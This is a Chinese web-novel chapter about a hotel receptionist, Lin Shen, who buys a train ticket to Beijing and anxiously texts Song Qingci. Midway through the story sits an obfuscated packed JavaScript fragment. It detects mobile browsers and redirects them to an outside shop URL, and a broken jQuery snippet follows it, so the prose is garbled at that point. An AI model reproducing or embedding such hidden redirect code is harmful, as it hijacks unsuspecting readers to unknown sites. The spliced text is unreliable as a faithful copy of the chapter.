凌晨五点十七分，酒店大堂安静得只剩空调的声音。林深坐在前台后面，购票页面还停留在手机上——上海虹桥，北京南。她已经看了快半小时，不是在选车次，是在发呆。Jason从后面巡楼回来，看见她还盯着手机。
“还没买？”
林深头也没抬。
“急什么。”
Jason看了一眼。
“你请假都批了。”
“票又不会跑。”
“人会。”
林深抬头，Jason已经拿着水杯走了。她低头重新看向屏幕，最早的一班高铁七点多，最晚的一班接近晚上，时间很多，选择很多，可她忽然发现自己犹豫的根本不是车票，而是北京。或者说，是北京那个人。
上一次去北京是什么时候？她想了想，其实没过去多久，可记忆已经有点模糊了。只记得那次也很开心，落地的时候很开心，见到人的时候很开心，后来越来越不开心，因为宋青瓷陪了她一天，然后消失了——工作，朋友，饭局，各种理由。最后北京还是北京，她还是她，只是身边的人不见了。
想到这里，林深忽然退出购票页面，把手机扣在桌上。Jason说得对，人会跑，所以这次她有点怕。
凌晨六点，视频后台跳出新评论，有人问：“什么时候更新北京篇？”林深愣了一下，然后笑了。她还没去，网友已经开始替她安排剧情了。她回了一个表情，没解释，评论区很快又被别的话题刷过去。
天慢慢亮起来，早餐厅开始准备营业，早班员工陆续上班。九点交班，林深回家。路上经过便利店，买了瓶水，又鬼使神差买了一包北京烤鸭味薯片，结账的时候自己都乐了——北京还没去，先把北京买回家了。
下午五点四十，睡醒。林深躺在床上，来福压在她腿边。她拿起手机，打开购票软件，这次没再发呆，直接选日期，付款，确认，支付成功。页面跳出来的时候她忽然坐直了，像完成了一件大事。来福被她吓了一跳，抬头看她。
“买了。”
来福继续趴下，完全不关心。林深却盯着那张电子车票看了很久——北京南站，真买了。她忽然想起什么，打开微信找到宋青瓷，聊天框还停留在前两天。她想了半天，最后只发了一句：“我下周来北京。”发送，然后把手机放到旁边，不看了。
以前她发完消息会等，一分钟看一次，五分钟看一次，十分钟看一次，现在不会——至少她以为不会。结果三分钟以后她还是拿起来了，没有回复。五分钟，没有。十分钟，还是没有。林深把手机扔到床上，来福抬头看她。
“看什么？”
来福摇尾巴。
“我没等。”
来福继续摇尾巴。
“真的。”
狗开始啃玩具，林深叹了口气。
晚上八点，酒店。刚进前台Jason就看出来了。
“买了？”
林深一愣。
“你怎么知道？”
“你今天看起来像刚中彩票。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17728543|207913||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>林深没说话。Jason笑了一下。
“什么时候走？”
“下周。”
“待几天？”
林深沉默两秒。
“六天左右。”
Jason吹了声口哨。
“真狠。”
“请假不容易。”
“也是。”
Jason点头。
“来都来了。”
这句话不知道为什么让林深忽然愣了一下。来都来了——她好像一直是这样的人。喜欢一个人，来都来了；去一个城市，来都来了；做一个决定，来都来了。很多事情开始的时候没有那么坚定，走着走着反而停不下来了。
凌晨一点，宋青瓷终于回复，只有一句：“待这么久？”
林深看着屏幕，心里忽然有点空。她原本以为自己会期待什么，比如“什么时候到”“我去接你”“好久没见”之类的话，结果都没有，只有“待这么久”。林深靠在椅背上，盯着那四个字看了一会儿，回：“请假赚的。”
这次宋青瓷倒回得很快。
“酒店还有这种好事？”
“有。”
“学到了。”
林深笑了一下，然后没再说话。大厅外面，一辆出租车停下，客人拖着箱子走进来，自动门打开，冷风灌进大厅。林深起身去办理入住，电脑屏幕亮着，微信聊天框停在最后一句。北京越来越近，而她还是不知道这六天会发生什么，只知道车票已经买好了。这一次，她真的要去了。